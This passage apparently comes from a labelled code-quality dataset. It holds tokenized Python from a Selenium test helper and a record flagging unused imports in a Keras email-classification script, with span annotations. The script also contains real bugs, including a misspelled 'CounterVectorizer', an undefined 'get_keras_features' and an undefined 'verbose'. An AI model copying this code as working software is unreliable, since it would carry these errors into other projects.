"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Default", " ", "tear", "down", " ", "method", " ", "for", " ", "all", " ", "scripts", ".", " ", "If", " ", "run", " ", "through", " ", "Sau", "ce", " ", "Lab", "s", " ", "On", "Dem", "and", ",", " ", "the", " ", "job", " ", "name", ",", " ", "status", " ", "and", " ", "tags", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "update", "d", ".", " ", "Al", "so", " ", "the", " ", "video", " ", "and", " ", "server", " ", "log", " ", "are", " ", "download", "ed", " ", "if", " ", "so", " ", "configur", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", ",_", "\"", "config", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "sau", "ce", " ", "labs", "\"_", "in_", "self_", "._", "cf_", "[_", "\"", "browsers", "\"_", "]_", "[_", "self_", "._", "cf_", "[_", "\"", "sau", "nter", "\"_", "]_", "[_", "\"", "default", "\\u", "browse", "r", "\"_", "]_", "]_", "and_", "not_", "self_", "._", "cf_", "[_", "\"", "browsers", "\"_", "]_", "[_", "self_", "._", "cf_", "[_", "\"", "sau", "nter", "\"_", "]_", "[_", "\"", "default", "\\u", "browse", "r", "\"_", "]_", "]_", "[_", "\"", "sau", "ce", " ", "labs", "\"_", "]_", "[_", "\"", "onde", "mand", "\"_", "]_", "and_", "self_", "._", "cf_", "[_", "\"", "sau", "nter", "\"_", "]_", "[_", "\"", "screenshot", "s", "\"_", "]_", "[_", "\"", "on", "\\u", "finish", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "take", "\\u", "named", "\\u", "screenshot_", "(_", "\"", "final", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", ",_", "\"", "driver", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "driver_", "._", "quit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "self_", "._", "browser_", ",_", "'", "proxy", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "config_", "[_", "'", "sau", "nter", "'_", "]_", "[_", "'", "prox", "ies", "'_", "]_", "._", "append_", "(_", "self_", "._", "proxy_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sau", "nter", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "take", "\\u", "numbered", "\\u", "screenshot_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "config_", "._", "has", "\\u", "option_", "(_", "\"", "Sau", "nter", "\"_", ",_", "\"", "take", "\\u", "screenshot", "s", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "cf_", "._", "getboolean_", "(_", "\"", "Sau", "nter", "\"_", ",_", "\"", "take", "\\u", "screenshot", "s", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "method", "\\u", "dir_", "=_", "self_", "._", "\\u", "screenshot", "\\u", "prep", "\\u", "dirs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "driver_", "._", "get", "\\u", "screenshot", "\\u", "as", "\\u", "file_", "(_", "os_", "._", "path_", "._", "join_", "(_", "method", "\\u", "dir_", ",_", "str_", "(_", "self_", "._", "\\u", "screenshot", "\\u", "number_", ")_", "._", "zfill_", "(_", "3_", ")_", "+_", "\".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "screenshot", "\\u", "number_", "=_", "self_", "._", "\\u", "screenshot", "\\u", "number_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "config_", "._", "has", "\\u", "option_", "(_", "\"", "Sau", "nter", "\"_", ",_", "\"", "jen", "kins", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "self_", "._", "cf_", "._", "getboolean_", "(_", "\"", "Sau", "nter", "\"_", ",_", "\"", "jen", "kins", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sys_", "._", "stdout_", "._", "write_", "(_", "os_", "._", "linesep_", "+_", "\"[", "[", "ATTACH", "MENT", "|", "%", "s", "]]", "\"_", "%_", "image", "\\u", "path_", "+_", "os_", "._", "linesep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sau", "nter", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "take", "\\u", "named", "\\u", "screenshot_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "method", "\\u", "dir_", "=_", "self_", "._", "\\u", "screenshot", "\\u", "prep", "\\u", "dirs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "image", "\\u", "path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "method", "\\u", "dir_", ",_", "str_", "(_", "name_", ")_", "+_", "\".", "png", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "driver_", "._", "get", "\\u", "screenshot", "\\u", "as", "\\u", "file_", "(_", "image", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\"", "ci", "\\u", "type", "\"_", "in_", "self_", "._", "cf_", "and_", "self_", "._", "cf_", "[_", "\"", "ci", "\\u", "type", "\"_", "]_", "._", "lower_", "(_", ")_", "==_", "\"", "jen", "kins", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "._", "write_", "(_", "os_", "._", "linesep_", "+_", "\"[", "[", "ATTACH", "MENT", "|", "%", "s", "]]", "\"_", "%_", "image", "\\u", "path_", "+_", "os_", "._", "linesep_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
andreykurenkov/emailinsight/pyScripts/kerasClassify.py
[ { "content": "from __future__ import print_function\nimport numpy as np\nimport pandas as pd\nimport os\nimport time\nimport pprint\nimport cPickle\n\nfrom keras.callbacks import RemoteMonitor\nfrom keras.preprocessing import sequence\nfrom keras.models import Sequential\nfrom keras.optimizers import SGD, Adam, RMSprop\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.layers.embeddings import Embedding\nfrom keras.utils import np_utils\nfrom mboxConvert import parseEmails,getEmailStats,mboxToBinaryCSV\nfrom kerasPlotter import Plotter\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers.convolutional import Convolution1D, MaxPooling1D\nfrom keras.layers.recurrent import LSTM,GRU\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom sklearn.feature_extraction.text import CountVectorizer,TfidfVectorizer\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def get_word_features(emails,verbose=True,nb_words=5000,skip_top=0,maxlen=None,as_matrix=True, matrix_type='count', label_cutoff=0.01,max_n=1):\n (totalWordsCount,fromCount,domainCount,labels) = getEmailStats(emails)\n if verbose:\n print('Creating email dataset with labels %s '%str(labels))\n print('Label word breakdown:')\n total = 0\n for label in labels:\n count = sum(totalWordsCount[label].values())\n total+=count\n print('\\t%s:%d'%(label,count))\n print('Total word count: %d'%total)\n\n labelCounts = {label:0 for label in labels}\n for email in emails:\n labelCounts[email.label]+=1\n cutoff = int(len(emails)*label_cutoff)\n removed = 0\n for label in labels[:]:\n if labelCounts[label]<cutoff or label=='Important' or label=='Unread' or label=='Sent':\n removed+=1\n labels.remove(label)\n labelNums = {labels[i]:i for i in range(len(labels))}\n if verbose:\n print('Found %d labels below count threshold of %d '%(removed,cutoff))\n if verbose:\n print('Creating email dataset with labels %s '%str(labels))\n print('Label email count breakdown:')\n total = 0\n for label in labels:\n print('\\t%s:%d'%(label,labelCounts[label]))\n print('Total emails: %d'%sum([labelCounts[label] for label in labels]))\n \n texts = []\n emailLabels = []\n for email in emails:\n if email.label not in labels:\n continue\n text = email.sender+\" \"+str(email.subject)\n text+= email.fromDomain\n text+=email.content\n texts.append(text.replace('\\n','').replace('\\r',''))\n emailLabels.append(labelNums[email.label])\n emailLabels = np.array(emailLabels)\n if max_n==1 or not as_matrix:\n tokenizer = Tokenizer(nb_words)\n tokenizer.fit_on_texts(texts)\n reverse_word_index = {tokenizer.word_index[word]:word for word in tokenizer.word_index}\n word_list = [reverse_word_index[i+1] for i in range(nb_words)]\n if as_matrix:\n feature_matrix = tokenizer.texts_to_matrix(texts, mode=matrix_type)\n return feature_matrix,emailLabels,word_list,labels\n else:\n sequences = tokenizer.texts_to_sequences(texts)\n return sequences,emailLabels,word_list,labels\n else:\n if matrix_type=='tfidf':\n vectorizer = TfidfVectorizer(ngram_range=(1,max_n),max_features=nb_words)\n else:\n vectorizer = CounterVectorizer(ngram_range=(1,max_n),max_features=nb_words,binary=matrix_type=='binary')\n feature_matrix = vectorizer.fit_transform(texts)\n word_list = vectorizer.get_feature_names()\n return feature_matrix,emailLabels,word_list,labels", "metadata": "root.get_word_features", "header": "['module', '___EOS___']", "index": 23 }, { "content": "def write_csv(csvfile, feature_matrix, labels,feature_names=None, verbose=True):\n dataframe = pd.DataFrame(data=feature_matrix,columns=feature_names)\n dataframe['label'] = labels\n dataframe.to_csv(csvfile)\n if verbose:\n print('Wrote CSV with columns %s to %s'%(str(dataframe.columns),csvfile))", "metadata": "root.write_csv", "header": "['module', '___EOS___']", "index": 86 }, { "content": "def read_csv(csvfile,verbose=True):\n dataframe = pd.read_csv(csvfile,header=0)\n labels = dataframe[u'label'].tolist()\n if verbose:\n print('Read CSV with columns %s'%str(dataframe.columns))\n dataframe.drop(u'label',inplace=True,axis=1)\n if u'Unnamed: 0' in dataframe.columns:\n dataframe.drop(u'Unnamed: 0',inplace=True,axis=1)\n feature_matrix = dataframe.as_matrix()\n feature_names = dataframe.columns\n return feature_matrix,labels,feature_names", "metadata": "root.read_csv", "header": "['module', '___EOS___']", "index": 93 }, { "content": "def write_info(txtfile, label_names, verbose=True):\n with open(txtfile,'w') as writeto:\n writeto.write(','.join(label_names))", "metadata": "root.write_info", "header": "['module', '___EOS___']", "index": 105 }, { "content": "def read_info(txtfile,verbose=True):\n with open(txtfile,'r') as readfrom:\n label_names=readfrom.readline().split(',')\n return label_names", "metadata": "root.read_info", "header": "['module', '___EOS___']", "index": 109 }, { "content": "def write_sequences(txtfile, sequences, labels, verbose=True):\n with open(txtfile,'w') as writeto:\n for sequence,label in zip(sequences,labels):\n #lol random demarcation markers so fun amirite\n writeto.write(','.join([str(x) for x in sequence])+';;;'+str(label)+'\\n')\n if verbose:\n print('Wrote txt with %d lines'%len(sequences))", "metadata": "root.write_sequences", "header": "['module', '___EOS___']", "index": 114 }, { "content": "def read_sequences(txtfile,verbose=True):\n sequences = []\n labels = []\n linesnum = 0\n with open(txtfile,'r') as readfrom:\n for line in readfrom:\n linesnum+=1\n parts = line.split(';;;')\n split = parts[0].split(',')\n if len(split)<=1:\n continue\n sequences.append(np.asarray(split))\n labels.append((int)(parts[1]))\n if verbose:\n print('Read txt with %d lines'%linesnum)\n return sequences,labels\n\n dataframe = pd.read_csv(csvfile,header=0)\n labels = dataframe[u'label'].tolist()\n if verbose:\n print('Read CSV with columns %s'%str(dataframe.columns))\n dataframe.drop('label',inplace=True,axis=1)\n feature_matrix = dataframe.as_matrix()\n return feature_matrix,labels", "metadata": "root.read_sequences", "header": "['module', '___EOS___']", "index": 122 }, { "content": "def make_dataset(features,labels,num_labels,test_split=0.1,nb_words=1000):\n if type(features)==list:\n num_examples = len(features)\n random_order = np.random.permutation(num_examples)\n index_split = (int)(test_split*num_examples)\n train_indices = random_order[index_split:]\n test_indices = random_order[:index_split]\n X_train = [features[i] for i in train_indices]\n X_test = [features[i] for i in test_indices]\n Y_train = [labels[i] for i in train_indices]\n Y_test = [labels[i] for i in test_indices]\n else:\n num_examples = features.shape[0]\n random_order = np.random.permutation(num_examples)\n index_split = (int)(test_split*num_examples)\n train_indices = random_order[index_split:]\n test_indices = random_order[:index_split]\n X_train = features[train_indices]\n X_test = features[test_indices]\n Y_train = [labels[i] for i in train_indices]\n Y_test = [labels[i] for i in test_indices]\n Y_train_c = np_utils.to_categorical(Y_train, num_labels)\n Y_test_c = np_utils.to_categorical(Y_test, num_labels)\n return ((X_train,Y_train_c),(X_test,Y_test_c)),Y_train,Y_test", "metadata": "root.make_dataset", "header": "['module', '___EOS___']", "index": 147 }, { "content": "def get_emails(verbose=True):\n picklefile = 'pickled_emails.pickle'\n if os.path.isfile(picklefile):\n with open(picklefile,'r') as load_from:\n emails = cPickle.load(load_from)\n else:\n emails = parseEmails('.',printInfo=verbose)\n with open(picklefile,'w') as store_to:\n cPickle.dump(emails,store_to)\n return emails", "metadata": "root.get_emails", "header": "['module', '___EOS___']", "index": 172 }, { "content": "def get_ngram_data(num_words=1000,matrix_type='binary',verbose=True,max_n=1):\n #yeah yeah these can be separate functions, but lets just bundle it all up\n csvfile = 'keras_data_%d_%s.csv'%(num_words,str(matrix_type))\n infofile = 'data_info.txt'\n if os.path.isfile(csvfile):\n features,labels,feature_names = read_csv(csvfile,verbose=verbose)\n label_names = read_info(infofile)\n else:\n emails = get_emails(verbose=verbose)\n features,labels,feature_names,label_names = get_word_features(emails,nb_words=num_words,matrix_type=matrix_type,verbose=verbose,max_n=max_n)\n if max_n==1:\n write_csv(csvfile,features,labels,feature_names,verbose=verbose)\n write_info(infofile,label_names)\n return features,labels,feature_names,label_names", "metadata": "root.get_ngram_data", "header": "['module', '___EOS___']", "index": 183 }, { "content": "def get_my_data(per_label=False):\n csvfile = 'my_data_%s.csv'%str(per_label)\n infofile = 'data_info.txt'\n if os.path.isfile(csvfile):\n features,labels,feature_names = read_csv(csvfile)\n label_names = read_info(infofile)\n else:\n mboxToBinaryCSV('.',csvfile,perLabel=per_label)\n features,labels,feature_names = read_csv(csvfile)#legacy code etc.\n label_names = list(set(labels))\n write_info(infofile,label_names)\n num_labels = max(labels)+1\n return features,labels,feature_names,label_names", "metadata": "root.get_my_data", "header": "['module', '___EOS___']", "index": 198 }, { "content": "def get_sequence_data():\n txtfile = 'sequence_data.txt'\n infofile = 'data_info.txt'\n if os.path.isfile(txtfile):\n features,labels = read_sequences(txtfile)\n label_names = read_info(infofile)\n else:\n emails = parseEmails('.')\n features,labels,words,labelVals = get_keras_features(emails,as_matrix=False)\n write_sequences(txtfile,features,labels)\n write_info(infofile,labelVals)\n num_labels = max(labels)+1\n return features,labels,label_names", "metadata": "root.get_sequence_data", "header": "['module', '___EOS___']", "index": 212 }, { "content": "def evaluate_mlp_model(dataset,num_classes,extra_layers=0,num_hidden=512,dropout=0.5,graph_to=None,verbose=True):\n (X_train, Y_train), (X_test, Y_test) = dataset\n batch_size = 32\n nb_epoch = 5\n max_features = 20000\n maxlen = 125\n \n if verbose:\n print(len(X_train), 'train sequences')\n print(len(X_test), 'test sequences')\n print('X_train shape:', X_train.shape)\n print('X_test shape:', X_test.shape)\n print('Y_train shape:', Y_train.shape)\n print('Y_test shape:', Y_test.shape)\n print('Building model...')\n model = Sequential()\n model.add(Dense(num_hidden))\n model.add(Activation('relu'))\n model.add(Dropout(dropout))\n for i in range(extra_layers):\n model.add(Dense(num_hidden))\n model.add(Activation('relu'))\n model.add(Dropout(dropout))\n model.add(Dense(num_classes))\n model.add(Activation('softmax'))\n model.compile(loss='categorical_crossentropy', optimizer='adam')\n plotter = Plotter(save_to_filepath=graph_to, show_plot_window=True)\n callbacks = [plotter] if graph_to else []\n history = model.fit(X_train, Y_train, nb_epoch=nb_epoch, batch_size=batch_size, verbose=1 if verbose else 0, show_accuracy=True, validation_split=0.1,callbacks=callbacks)\n score = model.evaluate(X_test, Y_test, batch_size=batch_size, verbose=1 if verbose else 0, show_accuracy=True)\n if verbose:\n print('Test score:',score[0])\n print('Test accuracy:', score[1])\n predictions = model.predict_classes(X_test,verbose=1 if verbose else 0)\n return predictions,score[1]", "metadata": "root.evaluate_mlp_model", "header": "['module', '___EOS___']", "index": 226 }, { "content": "def evaluate_recurrent_model(dataset,num_classes):\n (X_train, Y_train), (X_test, Y_test) = dataset\n max_features = 20000\n maxlen = 125 # cut texts after this number of words (among top max_features most common words)\n batch_size = 32\n\n print(len(X_train), 'train sequences')\n print(len(X_test), 'test sequences')\n print(\"Pad sequences (samples x time) with maxlen %d\"%maxlen)\n X_train = sequence.pad_sequences(X_train, maxlen=maxlen)\n X_test = sequence.pad_sequences(X_test, maxlen=maxlen)\n print('X_train shape:', X_train.shape)\n print('X_test shape:', X_test.shape)\n\n print('Build model...')\n model = Sequential()\n model.add(Embedding(max_features, 128, input_length=maxlen))\n model.add(GRU(512)) # try using a GRU instead, for fun\n model.add(Dropout(0.5))\n model.add(Dense(num_classes))\n model.add(Activation('softmax'))\n\n # try using different optimizers and different optimizer configs\n model.compile(loss='categorical_crossentropy',optimizer='adam')\n\n print(\"Train...\")\n model.fit(X_train, Y_train, batch_size=batch_size, nb_epoch=15,\n validation_data=(X_test, Y_test), show_accuracy=True)\n score, acc = model.evaluate(X_test, Y_test,\n batch_size=batch_size,\n show_accuracy=True)\n if verbose:\n print('Test score:', score)\n print('Test accuracy:', acc)\n return score[1]", "metadata": "root.evaluate_recurrent_model", "header": "['module', '___EOS___']", "index": 262 }, { "content": "def evaluate_conv_model(dataset, num_classes, maxlen=125,embedding_dims=250,max_features=5000,nb_filter=300,filter_length=3,num_hidden=250,dropout=0.25,verbose=True,pool_length=2,with_lstm=False):\n (X_train, Y_train), (X_test, Y_test) = dataset\n \n batch_size = 32\n nb_epoch = 5\n\n if verbose:\n print('Loading data...')\n print(len(X_train), 'train sequences')\n print(len(X_test), 'test sequences')\n print('Pad sequences (samples x time)')\n \n X_train = sequence.pad_sequences(X_train, maxlen=maxlen)\n X_test = sequence.pad_sequences(X_test, maxlen=maxlen)\n\n if verbose:\n print('X_train shape:', X_train.shape)\n print('X_test shape:', X_test.shape)\n print('Build model...')\n\n model = Sequential()\n # we start off with an efficient embedding layer which maps\n # our vocab indices into embedding_dims dimensions\n model.add(Embedding(max_features, embedding_dims, input_length=maxlen))\n model.add(Dropout(dropout))\n\n # we add a Convolution1D, which will learn nb_filter\n # word group filters of size filter_length:\n model.add(Convolution1D(nb_filter=nb_filter,\n filter_length=filter_length,\n border_mode='valid',\n activation='relu',\n subsample_length=1))\n if pool_length:\n # we use standard max pooling (halving the output of the previous layer):\n model.add(MaxPooling1D(pool_length=2))\n if with_lstm:\n model.add(LSTM(125))\n else:\n # We flatten the output of the conv layer,\n # so that we can add a vanilla dense layer:\n model.add(Flatten())\n\n #We add a vanilla hidden layer:\n model.add(Dense(num_hidden))\n model.add(Activation('relu'))\n model.add(Dropout(dropout))\n\n # We project onto a single unit output layer, and squash it with a sigmoid:\n model.add(Dense(num_classes))\n model.add(Activation('softmax'))\n\n model.compile(loss='categorical_crossentropy',optimizer='adam')\n model.fit(X_train, Y_train, batch_size=batch_size,nb_epoch=nb_epoch, show_accuracy=True,validation_split=0.1)\n score = model.evaluate(X_test, Y_test, batch_size=batch_size, verbose=1 if verbose else 0, show_accuracy=True)\n if verbose:\n print('Test score:',score[0])\n print('Test accuracy:', score[1])\n predictions = model.predict_classes(X_test,verbose=1 if verbose else 0)\n return predictions,score[1]", "metadata": "root.evaluate_conv_model", "header": "['module', '___EOS___']", "index": 298 } ]
[ { "span": "import time", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 11 }, { "span": "import pprint", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 13 }, { "span": "from keras.callbacks import RemoteMonitor", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 41 }, { "span": "from keras.optimizers import SGD, Adam, RMSprop", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 47 }, { "span": "from sklearn.feature_extraction.text import CountVectorizer,TfidfVectorizer", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 75 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pandas_", "as_", "pd_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pprint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "c", "Pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "keras_", "._", "callbacks_", "import_", "Remo", "te", "Monitor_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "preprocessing_", "import_", "sequence_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "models_", "import_", "Sequential_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "optimizers_", "import_", "SGD", "_", ",_", "Adam", "_", ",_", "RMS", "prop_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "preprocessing_", "._", "text_", "import_", "Tokenizer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "layers_", "._", "embeddings_", "import_", "Embedding", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "utils_", "import_", "np", "\\u", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "mbox", "Convert", "_", "import_", "parse", "Ema", "ils_", ",_", "get", "Ema", "il", "Stats_", ",_", "mbox", "To", "Bin", "ary", "CSV_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ker", "as", "Plotter", "_", "import_", "Plotter", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "layers_", "._", "embeddings_", "import_", "Embedding", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "layers_", "._", "convolution", "al_", "import_", "Convolution", "1", "D_", ",_", "Max", "Pooling", "1", "D_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "layers_", "._", "recurrent", "_", "import_", "LSTM", "_", ",_", "GRU", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "keras_", "._", "layers_", "._", "core_", "import_", "Dense_", ",_", "Dropout_", ",_", "Activation_", ",_", "Flatten_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sklearn_", "._", "feature", "\\u", "extraction_", "._", "text_", "import_", "Count", "Vectorizer_", ",_", "Tf", "idf", "Vectorizer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "word", "\\u", "features_", "(_", "emails_", ",_", "verbose_", "=_", "True_", ",_", "nb", "\\u", "words_", "=_", "5000_", ",_", "skip", "\\u", "top_", "=_", "0_", ",_", "maxlen_", "=_", "None_", ",_", "as", "\\u", "matrix_", "=_", "True_", ",_", "matrix", "\\u", "type_", "=_", "'", "count", "'_", ",_", "label", "\\u", "cutoff_", "=_", "0.01_", ",_", "max", "\\u", "n_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "total", "Word", "s", "Count_", ",_", "from", "Count_", ",_", "domain", "Count_", ",_", "labels_", ")_", "=_", "get", "Ema", "il", "Stats_", "(_", "emails_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Creat", "ing", " ", "email", " ", "dataset", " ", "with", " ", "labels", " ", "%", "s", " ", "'_", "%_", "str_", "(_", "labels_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Label", " ", "word", " ", "breakdown", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "label_", "in_", "labels_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "sum_", "(_", "total", 